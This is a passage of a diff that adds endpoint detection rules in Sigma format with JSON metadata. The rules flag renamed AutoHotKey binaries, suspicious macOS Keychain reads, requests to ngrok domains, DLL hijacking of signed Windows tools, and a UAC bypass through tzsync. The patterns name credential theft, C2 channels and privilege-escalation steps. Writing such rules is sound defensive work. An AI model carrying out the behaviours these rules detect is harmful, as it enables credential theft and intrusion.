+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1204.002",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5a4a7014-732a-4c1b-ab75-89991844df42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080461Z",
+  "creation_date": "2026-03-23T11:45:34.080463Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080467Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/",
+    "https://attack.mitre.org/techniques/T1036/"
+  ],
+  "name": "t1036_suspicious_renamed_autohotkey_binary.yml",
+  "content": "title: Suspicious Renamed AutoHotKey Binary\nid: 5a4a7014-732a-4c1b-ab75-89991844df42\ndescription: |\n    Detects the execution of a renamed AutoHotKey binary.\n    Adversaries may execute AutoHotKey scripts in order to conduct malicious operations and deliver more advanced malware.\n    It is recommended to check the content of the executed script which is passed on the command-line for malicious purposes.\nreferences:\n    - https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/\n    - https://attack.mitre.org/techniques/T1036/\ndate: 2024/03/22\nmodified: 2025/07/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.AutoHotkey\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        - OriginalFileName: 'AutoHotKey.exe'\n        - Product|contains: 'AutoHotkey'\n\n    filter_name:\n        Image|endswith:\n            - '\\AutoHotkey.exe'\n            - '\\AutoHotkey-windows-*.exe'\n            - '\\AutoHotkeyA32.exe'\n            - '\\AutoHotkeyU32.exe'\n            - '\\AutoHotkeyU64.exe'\n            - '\\AutoHotkey32.exe'\n            - '\\AutoHotkey64.exe'\n            - '\\AutoHotkey32_UIA.exe'\n            - '\\AutoHotkey64_UIA.exe'\n            - '\\AutoHotkeyU32_UIA.exe'\n            - '\\AutoHotkeyU64_UIA.exe'\n            - '\\AutoHotkey_*_setup*.exe' # AutoHotkey_2.0.11_setup.exe\n            - '\\AutoHotkey *.exe'       # AutoHotkey 1.1.37.02.exe\n            - '\\\\*-AutoHotkey_*_setup.exe'\n            - '\\AutoHotkeyUX.exe'\n            - '\\AutoHotFlow.exe'\n            - '\\AutoHotkeyLKL.exe'\n            - '\\lintalist.exe'\n            - '\\LLM AutoHotkey Assistant.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5a4a7014-732a-4c1b-ab75-89991844df42",
+  "rule_name": "Suspicious Renamed AutoHotKey Binary",
+  "rule_description": "Detects the execution of a renamed AutoHotKey binary.\nAdversaries may execute AutoHotKey scripts in order to conduct malicious operations and deliver more advanced malware.\nIt is recommended to check the content of the executed script which is passed on the command-line for malicious purposes.\n",
+  "rule_creation_date": "2024-03-22",
+  "rule_modified_date": "2025-07-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5a7758ea-0069-4dd5-9f5d-4d478a464ae5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094030Z",
+  "creation_date": "2026-03-23T11:45:34.094032Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094036Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1555/001/"
+  ],
+  "name": "t1555_001_system_keychain_access_suspicious_process_macos.yml",
+  "content": "title: Suspicious Access to System Keychain\nid: 5a7758ea-0069-4dd5-9f5d-4d478a464ae5\ndescription: |\n    Detects a suspicious access to the system Keychain files.\n    Adversaries may access Keychain (or Keychain Services) to acquire sensitive information such as account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1555/001/\ndate: 2024/09/26\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.001\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.CredentialAccess\n    - classification.macOS.Behavior.SensitiveInformation\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_common_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_common_files:\n        Kind: 'read'\n        Path:\n            - '/Library/Keychains/*.keychain'\n            - '/Library/Keychains/*.keychain-db'\n            - '/private/var/*/Library/Keychains/*.keychain'\n            - '/private/var/*/Library/Keychains/*.keychain-db'\n            - '/Network/Library/Keychains/*.keychain'\n            - '/Network/Library/Keychains/*.keychain-db'\n        ProcessImage|contains: '?'\n\n    selection_susp_ancestors:\n        ProcessAncestors|contains:\n            # folder\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/usr/local/bin/'\n            # process\n            - '/osascript'\n\n    selection_susp_process:\n        ProcessImage: '/bin/cat'\n\n    filter_security:\n        ProcessImage: '/usr/bin/security'\n\n    filter_ldapsearch:\n        ProcessImage: '/usr/bin/ldapsearch'\n\n    filter_codesign:\n        ProcessImage: '/usr/bin/codesign'\n\n    exclusion_process_pkinstall:\n        - ProcessAncestors|contains: '/private/tmp/PKInstallSandbox.??????/Scripts/'\n        - ProcessImage|contains: '/private/tmp/PKInstallSandbox.??????/Scripts/'\n\n    exclusion_process_adobe:\n        ProcessAncestors|contains: '/private/tmp/????????-????-????-????-?????????????/Creative Cloud Installer.app/Contents/MacOS/Install'\n\n    exclusion_process_common_folders:\n        ProcessImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/opt/homebrew/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n\n    exclusion_folder_signed:\n        ProcessImage|startswith: '/users/'\n        ProcessSigned: 'true'\n\n    adhoc_signed:\n        ProcessCodesigningFlagsStr|contains: 'CS_ADHOC'\n\n    condition: all of selection_common_* and 1 of selection_susp_* and not 1 of filter_* and not 1 of exclusion_process_* and not (exclusion_folder_signed and not adhoc_signed)\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5a7758ea-0069-4dd5-9f5d-4d478a464ae5",
+  "rule_name": "Suspicious Access to System Keychain",
+  "rule_description": "Detects a suspicious access to the system Keychain files.\nAdversaries may access Keychain (or Keychain Services) to acquire sensitive information such as account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5a871461-061c-41ec-b776-f11c897473f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603773Z",
+  "creation_date": "2026-03-23T11:45:34.603776Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603783Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf",
+    "https://ngrok.com/blog-post/new-ngrok-domains",
+    "https://attack.mitre.org/techniques/T1102/002/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1102_002_url_access_ngrok.yml",
+  "content": "title: HTTP request to Ngrok Service\nid: 5a871461-061c-41ec-b776-f11c897473f4\ndescription: |\n    Detects an HTTP request to Ngrok's services by utilizing free static domains provided by Ngrok.\n    Adversaries may use an existing, legitimate external Web service like Ngrok as a means to sending commands to and receiving output from a compromised system over HTTP channel.\n    It is recommended to investigate the process at the origin of the HTTP request to determine whether the communication with Ngrok's services is legitimate.\nreferences:\n    - https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf\n    - https://ngrok.com/blog-post/new-ngrok-domains\n    - https://attack.mitre.org/techniques/T1102/002/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2024/04/02\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102.002\n    - attack.t1071.001\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Tool.Ngrok\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        RequestUrlHost|endswith:\n            - '.ngrok-free.app'\n            - '.ngrok-free.dev'\n            - '.ngrok.app'\n            - '.ngrok.dev'\n            - '.ngrok.io'\n\n    # https://newtonpaul.com/svchost-analysis-and-internet-sharing-triage/\n    exclusion_sharedaccess:\n        ProcessCommandLine: '?:\\windows\\System32\\svchost.exe -k netsvcs -p -s SharedAccess'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_defender:\n        ProcessOriginalFileName:\n            - 'MsMpEng.exe'\n            - 'MsSense.exe'\n            - 'NisSrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5a871461-061c-41ec-b776-f11c897473f4",
+  "rule_name": "HTTP request to Ngrok Service",
+  "rule_description": "Detects an HTTP request to Ngrok's services by utilizing free static domains provided by Ngrok.\nAdversaries may use an existing, legitimate external Web service like Ngrok as a means to sending commands to and receiving output from a compromised system over HTTP channel.\nIt is recommended to investigate the process at the origin of the HTTP request to determine whether the communication with Ngrok's services is legitimate.\n",
+  "rule_creation_date": "2024-04-02",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1102.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5a89c980-2d01-467d-95ed-eaa6c2a7bcd9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.597152Z",
+  "creation_date": "2026-03-23T11:45:34.597157Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.597170Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_gpresult.yml",
+  "content": "title: DLL Hijacking via gpresult.exe\nid: 5a89c980-2d01-467d-95ed-eaa6c2a7bcd9\ndescription: |\n    Detects potential Windows DLL Hijacking via gpresult.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'gpresult.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\NTDSAPI.dll'\n            - '\\Secur32.dll'\n            - '\\srvcli.dll'\n            - '\\SspiCli.dll'\n            - '\\wbemprox.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5a89c980-2d01-467d-95ed-eaa6c2a7bcd9",
+  "rule_name": "DLL Hijacking via gpresult.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via gpresult.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5a9dbbfc-6cc7-4475-b35f-03eccfad4915",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594422Z",
+  "creation_date": "2026-03-23T11:45:34.594426Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594434Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dsquery.yml",
+  "content": "title: DLL Hijacking via dsquery.exe\nid: 5a9dbbfc-6cc7-4475-b35f-03eccfad4915\ndescription: |\n    Detects potential Windows DLL Hijacking via dsquery.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dsquery.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\atl.dll'\n            - '\\dsprop.dll'\n            - '\\netapi32.dll'\n            - '\\ntdsapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5a9dbbfc-6cc7-4475-b35f-03eccfad4915",
+  "rule_name": "DLL Hijacking via dsquery.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dsquery.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5aaebba7-01f9-43b3-8924-5ea1e6098157",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588252Z",
+  "creation_date": "2026-03-23T11:45:34.588256Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588263Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_nltest.yml",
+  "content": "title: DLL Hijacking via nltest.exe\nid: 5aaebba7-01f9-43b3-8924-5ea1e6098157\ndescription: |\n    Detects potential Windows DLL Hijacking via nltest.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'nltest.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\NTDSAPI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5aaebba7-01f9-43b3-8924-5ea1e6098157",
+  "rule_name": "DLL Hijacking via nltest.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via nltest.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5ae07f49-3dd1-490d-affc-811f90f709d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074093Z",
+  "creation_date": "2026-03-23T11:45:34.074095Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074100Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies",
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_tzsync.yml",
+  "content": "title: UAC Bypass Executed via tzsync\nid: 5ae07f49-3dd1-490d-affc-811f90f709d7\ndescription: |\n    Detects a UAC bypass via a renamed tzsync.exe and a missing manifest.\n    A manifest file is an XML document embedded in or placed alongside an executable that defines application metadata, including runtime behavior, dependency paths, and privilege requirements.\n    This UAC bypass method involves creating a malicious manifest file that specifies a custom path for loading the cryptbase.dll DLL.\n    When migwiz.exe (renamed tzsync.exe), which lacks an embedded manifest and has the autoElevate attribute, is executed, it loads the attacker's DLL from the specified path with elevated privileges.\n    This allows the attacker to achieve privilege escalation without triggering a UAC prompt.\n    This approach combines manifest manipulation and DLL hijacking to bypass UAC and achieve privilege escalation.\n    It is recommended to investigate the DLL file loaded to determine its legitimacy.\nreferences:\n    - https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2021/01/25\nmodified: 2025/01/13\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.002\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\n    - 